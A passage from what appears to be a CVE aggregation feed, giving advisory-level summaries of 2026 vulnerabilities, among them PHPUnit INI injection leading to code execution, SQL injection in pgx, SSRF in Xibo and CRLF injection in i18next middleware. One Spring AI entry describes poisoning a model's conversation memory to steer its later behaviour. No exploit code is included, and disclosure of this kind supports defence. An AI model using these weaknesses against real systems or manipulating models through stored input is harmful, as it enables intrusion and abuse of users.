PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Brave CMS is an open-source CMS.
https://kevwire.com/record/CVE-2026-41576
Brave CMS is an open-source CMS. (May 8, 2026).
Brave CMS is an open-source CMS. Prior to commit 6c56603, the contact form is publicly accessible (no authentication required). User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive. The resulting content is then rendered in a Blade email template using the unescaped {!! $msg !!} directive. Because HTML is not sanitized, arbitrary markup can be injected into the email body. While modern HTML-capable email clients (Gmail or Outlook Web) typically block JavaScript execution, they still render HTML content. This allows attackers to craft convincing phishing interfaces inside the email sent to the administrator. This issue has been patched via commit 6c56603.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41576).
Sources:
NVD CVE-2026-41576: https://nvd.nist.gov/vuln/detail/CVE-2026-41576
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Brave CMS is an open-source CMS. Prior to commit 6c56603, the contact form is publicly accessible (no authentication required). User-supplied message text is passed through PHP's nl2br() function, which converts newlines to <br> tags but does not escape HTML. The resulting string is then passed to a Blade email template using the unescaped {!! $msg !!} directive. The resulting content is then rendered in a Blade email template using the unescaped {!! $msg !!} directive. Because HTML is not sanitized, arbitrary markup can be injected into the email body. While modern HTML-capable email clients (Gmail or Outlook Web) typically block JavaScript execution, they still render HTML content. This allows attackers to craft convincing phishing interfaces inside the email sent to the administrator. This issue has been patched via commit 6c56603.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZEBRA is a Zcash node written entirely in Rust.
https://kevwire.com/record/CVE-2026-41583
ZEBRA is a Zcash node written entirely in Rust. (May 8, 2026).
ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.1 and prior to zebra-script version 5.0.2, after a refactoring, Zebra failed to validate a consensus rule that restricted the possible values of sighash hash types for V5 transactions which were enabled in the NU5 network upgrade. Zebra nodes could thus accept and eventually mine a block that would be considered invalid by zcashd nodes, creating a consensus split between Zebra and zcashd nodes. In a similar vein, for V4 transactions, Zebra mistakenly used the "canonical" hash type when computing the sighash while zcashd (correctly per the spec) uses the raw value, which could also crate a consensus split. This issue has been patched in zebrad version 4.3.1 and zebra-script version 5.0.2.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41583).
Sources:
NVD CVE-2026-41583: https://nvd.nist.gov/vuln/detail/CVE-2026-41583
Vendor advisory (via NVD references): https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.1 and prior to zebra-script version 5.0.2, after a refactoring, Zebra failed to validate a consensus rule that restricted the possible values of sighash hash types for V5 transactions which were enabled in the NU5 network upgrade. Zebra nodes could thus accept and eventually mine a block that would be considered invalid by zcashd nodes, creating a consensus split between Zebra and zcashd nodes. In a similar vein, for V4 transactions, Zebra mistakenly used the "canonical" hash type when computing the sighash while zcashd (correctly per the spec) uses the raw value, which could also crate a consensus split. This issue has been patched in zebrad version 4.3.1 and zebra-script version 5.0.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-41611
Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally. (May 12, 2026).
Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41611).
Sources:
NVD CVE-2026-41611: https://nvd.nist.gov/vuln/detail/CVE-2026-41611
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper neutralization of script-related html tags in a web page (basic xss) in Visual Studio Code allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-41613
Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network. (May 12, 2026).
Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41613).
Sources:
NVD CVE-2026-41613: https://nvd.nist.gov/vuln/detail/CVE-2026-41613
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Session fixation in Visual Studio Code allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.
https://kevwire.com/record/CVE-2026-41683
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. (May 8, 2026).
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41683).
Sources:
NVD CVE-2026-41683: https://nvd.nist.gov/vuln/detail/CVE-2026-41683
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### 18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno.
https://kevwire.com/record/CVE-2026-41690
18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. (May 8, 2026).
18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Versions prior to 3.9.3 allow an unauthenticated HTTP client to pollute Object.prototype in the Node.js process hosting the middleware, via two unvalidated entry points that reach internal object-key writes: getResourcesHandler and missingKeyHandler. This can break authorisation checks (if (user.isAdmin) returning true for any user), cause type-confusion DoS, and depending on downstream code  it can be chained into RCE.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41690).
Sources:
NVD CVE-2026-41690: https://nvd.nist.gov/vuln/detail/CVE-2026-41690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Versions prior to 3.9.3 allow an unauthenticated HTTP client to pollute Object.prototype in the Node.js process hosting the middleware, via two unvalidated entry points that reach internal object-key writes: getResourcesHandler and missingKeyHandler. This can break authorisation checks (if (user.isAdmin) returning true for any user), cause type-confusion DoS, and depending on downstream code  it can be chained into RCE.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.
https://kevwire.com/record/CVE-2026-41712
Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users. (May 12, 2026).
Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41712).
Sources:
NVD CVE-2026-41712: https://nvd.nist.gov/vuln/detail/CVE-2026-41712
Vendor advisory (via NVD references): https://spring.io/security/cve-2026-41712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Spring AI's chat memory component contained a problematic default that, when not explicitly overridden, could result in unintended data exposure between users.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way.
https://kevwire.com/record/CVE-2026-41713
A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. (May 12, 2026).
A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41713).
Sources:
NVD CVE-2026-41713: https://nvd.nist.gov/vuln/detail/CVE-2026-41713
Vendor advisory (via NVD references): https://spring.io/security/cve-2026-41713
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### "Kura Sushi Official App" provided by EPG, Inc.
https://kevwire.com/record/CVE-2026-41872
"Kura Sushi Official App" provided by EPG, Inc. (May 12, 2026).
"Kura Sushi Official App" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server.
CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41872).
Sources:
NVD CVE-2026-41872: https://nvd.nist.gov/vuln/detail/CVE-2026-41872
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
"Kura Sushi Official App" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pgx is a PostgreSQL driver and toolkit for Go.
https://kevwire.com/record/CVE-2026-41889
pgx is a PostgreSQL driver and toolkit for Go. (May 8, 2026).
pgx is a PostgreSQL driver and toolkit for Go. Prior to version 5.9.2, SQL injection can occur when the non-default simple protocol is used, a dollar quoted string literal is used in the SQL query, that string literal contains text that would be would be interpreted as a placeholder outside of a string literal, and the value of that placeholder is controllable by the attacker. This issue has been patched in version 5.9.2.
CVSS 2.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41889).
Sources:
NVD CVE-2026-41889: https://nvd.nist.gov/vuln/detail/CVE-2026-41889
Vendor advisory (via NVD references): https://github.com/jackc/pgx/security/advisories/GHSA-j88v-2chj-qfwx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
pgx is a PostgreSQL driver and toolkit for Go. Prior to version 5.9.2, SQL injection can occur when the non-default simple protocol is used, a dollar quoted string literal is used in the SQL query, that string literal contains text that would be would be interpreted as a placeholder outside of a string literal, and the value of that placeholder is controllable by the attacker. This issue has been patched in version 5.9.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### changedetection.io is a free open source web page change detection tool.
https://kevwire.com/record/CVE-2026-41895
changedetection.io is a free open source web page change detection tool. (May 12, 2026).
changedetection.io is a free open source web page change detection tool. In 0.54.9 and earlier, xpath_filter() switches to XML mode for XML/RSS content and creates etree.XMLParser(strip_cdata=False) without explicitly disabling external entity resolution, external DTD loading, or network-backed entity lookup. The helper then parses untrusted XML bytes directly with etree.fromstring(...).
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41895).
Sources:
NVD CVE-2026-41895: https://nvd.nist.gov/vuln/detail/CVE-2026-41895
Vendor advisory (via NVD references): https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-v7cp-2cx9-x793
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
changedetection.io is a free open source web page change detection tool. In 0.54.9 and earlier, xpath_filter() switches to XML mode for XML/RSS content and creates etree.XMLParser(strip_cdata=False) without explicitly disabling external entity resolution, external DTD loading, or network-backed entity lookup. The helper then parses untrusted XML bytes directly with etree.fromstring(...).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An attacker can cause uncontrolled memory usage with excessive bracing over IMAP.
https://kevwire.com/record/CVE-2026-42006
An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. (May 12, 2026).
An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one way of doing this, so there was still another way left open. In particular, the fix was for closing braces, but you could still use open braces to bypass the limit. Using excessive bracing, attacker can cause memory usage up to configured memory limit. Install fixed version, or configure vsz_limit for imap process to low value. No publicly available exploits are known.
CVSS 4.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42006).
Sources:
NVD CVE-2026-42006: https://nvd.nist.gov/vuln/detail/CVE-2026-42006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one way of doing this, so there was still another way left open. In particular, the fix was for closing braces, but you could still use open braces to bypass the limit. Using excessive bracing, attacker can cause memory usage up to configured memory limit. Install fixed version, or configure vsz_limit for imap process to low value. No publicly available exploits are known.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libcaca is a colour ASCII art library.
https://kevwire.com/record/CVE-2026-42046
libcaca is a colour ASCII art library. (May 11, 2026).
libcaca is a colour ASCII art library. In 0.99.beta20 and earlier, an integer overflow vulnerability in libcaca's canvas import functionality allows an attacker to cause a controlled heap out-of-bounds write (heap overflow) by supplying a crafted file in the "caca" format. Depending on the build configuration and memory allocator, this may lead to memory corruption or remote code execution. This is the same vulnerability as CVE-2021-3410 but the fix at that time was not fully correct. Commit fb77acff9ba6bb01d53940da34fb10f20b156a23 fixes this vulnerability.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42046).
Sources:
NVD CVE-2026-42046: https://nvd.nist.gov/vuln/detail/CVE-2026-42046
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
libcaca is a colour ASCII art library. In 0.99.beta20 and earlier, an integer overflow vulnerability in libcaca's canvas import functionality allows an attacker to cause a controlled heap out-of-bounds write (heap overflow) by supplying a crafted file in the "caca" format. Depending on the build configuration and memory allocator, this may lead to memory corruption or remote code execution. This is the same vulnerability as CVE-2021-3410 but the fix at that time was not fully correct. Commit fb77acff9ba6bb01d53940da34fb10f20b156a23 fixes this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes.
https://kevwire.com/record/CVE-2026-42072
Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes. (May 8, 2026).
Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes. Prior to version 1.0.42-hotfix, the --address CLI flag (and NORNICDB_ADDRESS / server.host config key) is plumbed through to the HTTP server correctly but never reaches the Bolt server config. The Bolt listener therefore always binds to the wildcard address (all interfaces), regardless of what the user configures. On a LAN, this exposes the graph database — with its default admin:password credentials — to any device sharing the network. This issue has been patched in version 1.0.42-hotfix.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42072).
Sources:
NVD CVE-2026-42072: https://nvd.nist.gov/vuln/detail/CVE-2026-42072
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Nornicdb is a distributed low-latency, Graph+Vector, Temporal MVCC with all sub-ms HNSW search, graph traversal, and writes. Prior to version 1.0.42-hotfix, the --address CLI flag (and NORNICDB_ADDRESS / server.host config key) is plumbed through to the HTTP server correctly but never reaches the Bolt server config. The Bolt listener therefore always binds to the wildcard address (all interfaces), regardless of what the user configures. On a LAN, this exposes the graph database — with its default admin:password credentials — to any device sharing the network. This issue has been patched in version 1.0.42-hotfix.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Xibo is an open source digital signage platform with a web content management system and Windows display player software.
https://kevwire.com/record/CVE-2026-42141
Xibo is an open source digital signage platform with a web content management system and Windows display player software. (May 12, 2026).
Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.1, an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Xibo CMS allows users with Library upload permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. This vulnerability is fixed in 4.4.1.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42141).
Sources:
NVD CVE-2026-42141: https://nvd.nist.gov/vuln/detail/CVE-2026-42141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.1, an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Xibo CMS allows users with Library upload permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. This vulnerability is fixed in 4.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification.
https://kevwire.com/record/CVE-2026-42156
Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. (May 12, 2026).
Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a node with a malicious type that can escape an existing Cypher query and an adversary can execute an arbitrary Cypher query. This vulnerability is fixed in 1.2.3.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42156).
Sources:
NVD CVE-2026-42156: https://nvd.nist.gov/vuln/detail/CVE-2026-42156
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Flowsint is an open-source OSINT graph exploration tool designed for cybersecurity investigation, transparency, and verification. Prior to 1.2.3, a remote attacker can create a node with a malicious type that can escape an existing Cypher query and an adversary can execute an arbitrary Cypher query. This vulnerability is fixed in 1.2.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management.
https://kevwire.com/record/CVE-2026-42160
Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. (May 8, 2026).
Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. From version 2.1.1 to before version 7.3.2, there is insufficient authorization in the dataspace-portal backend regarding self-registered "PENDING" organization / user accounts. This issue has been patched in version 7.3.2.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42160).
Sources:
NVD CVE-2026-42160: https://nvd.nist.gov/vuln/detail/CVE-2026-42160
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. From version 2.1.1 to before version 7.3.2, there is insufficient authorization in the dataspace-portal backend regarding self-registered "PENDING" organization / user accounts. This issue has been patched in version 7.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Russh is a Rust SSH client & server library.
https://kevwire.com/record/CVE-2026-42189
Russh is a Rust SSH client & server library. (May 8, 2026).
Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42189).
Sources:
NVD CVE-2026-42189: https://nvd.nist.gov/vuln/detail/CVE-2026-42189
Vendor advisory (via NVD references): https://github.com/Eugeny/russh/security/advisories/GHSA-f5v4-2wr6-hqmg
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Russh is a Rust SSH client & server library. Prior to version 0.60.1, a pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials. This issue has been patched in version 0.60.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation.
https://kevwire.com/record/CVE-2026-42191
OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation. (May 12, 2026).
OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation. From 1.8.0 to 1.15.2, the OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk was set but OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH was not configured. The exporter stored and loaded *.blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path. On multi-user systems where the temporary directory is accessible to other local accounts, this allows an attacker to write crafted *.blob files, read *.blob files written by the application between export failures, or deposit numerous or oversized blob files, degrading retry-loop performance or consuming disk space. This vulnerability is fixed in 1.15.3.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42191).
Sources:
NVD CVE-2026-42191: https://nvd.nist.gov/vuln/detail/CVE-2026-42191
Vendor advisory (via NVD references): https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-4625-4j76-fww9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation. From 1.8.0 to 1.15.2, the OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk was set but OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH was not configured. The exporter stored and loaded *.blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path. On multi-user systems where the temporary directory is accessible to other local accounts, this allows an attacker to write crafted *.blob files, read *.blob files written by the application between export failures, or deposit numerous or oversized blob files, degrading retry-loop performance or consuming disk space. This vulnerability is fixed in 1.15.3.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Plunk is an open-source email platform built on top of AWS SES.
https://kevwire.com/record/CVE-2026-42193
Plunk is an open-source email platform built on top of AWS SES. (May 8, 2026).
Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, the /webhooks/sns endpoint accepts Amazon SNS notification payloads from unauthenticated requests without verifying the SNS signature, certificate, or topic ARN, meaning anyone can forge a valid-looking webhook request. This allows an unauthenticated attacker to spoof SNS events to trigger workflow automations, unsubscribe contacts, manipulate email delivery metrics, and potentially exhaust billing credits. This issue has been patched in version 0.9.0.
